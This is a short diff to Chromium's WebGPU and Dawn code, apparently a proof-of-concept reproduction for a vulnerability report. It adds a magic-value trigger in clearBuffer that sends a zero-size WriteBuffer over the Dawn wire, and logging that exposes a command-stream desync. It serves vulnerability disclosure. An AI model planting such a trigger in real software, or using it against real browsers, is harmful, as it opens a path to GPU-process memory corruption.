diff --git a/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h b/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h
index e95fc57e545fc..e02ad8c361fee 100644
--- a/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h
+++ b/third_party/blink/renderer/modules/webgpu/gpu_command_encoder.h
@@ -118,6 +118,14 @@ class GPUCommandEncoder : public DawnObject<wgpu::CommandEncoder> {
   void clearBuffer(DawnObject<wgpu::Buffer>* buffer,
                    uint64_t offset,
                    uint64_t size) {
+    // POC injection: simulate a compromised renderer sending
+    // CommandEncoderWriteBuffer with size==0 over the Dawn wire.
+    // Triggered from JS via clearBuffer(buf, 0, 0xDEAD0000).
+    if (size == 0xDEAD0000ULL) {
+      static const uint8_t kDummy = 0;
+      GetHandle().WriteBuffer(buffer->GetHandle(), 0, &kDummy, 0);
+      return;
+    }
     GetHandle().ClearBuffer(buffer->GetHandle(), offset, size);
   }
   GPUCommandBuffer* finish(const GPUCommandBufferDescriptor* descriptor);
diff --git a/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp b/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp
index 06245094888..340920943c5 100644
--- a/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp
+++ b/third_party/dawn/src/dawn/native/opengl/CommandBufferGL.cpp
@@ -788,6 +788,10 @@ MaybeError CommandBuffer::Execute(const OpenGLFunctions& gl) {
 
     Command type;
     while (mCommands.NextCommandId(&type)) {
+        // POC instrumentation: log every iterated command id so the desync
+        // (0xFFFFFFFE / -2 reaching the switch) is observable in stderr.
+        fprintf(stderr, "[POC] CommandBufferGL::Execute type=%d (0x%08x)\n",
+                static_cast<int>(type), static_cast<uint32_t>(type));
         switch (type) {
             case Command::BeginComputePass: {
                 mCommands.NextCommand<BeginComputePassCmd>();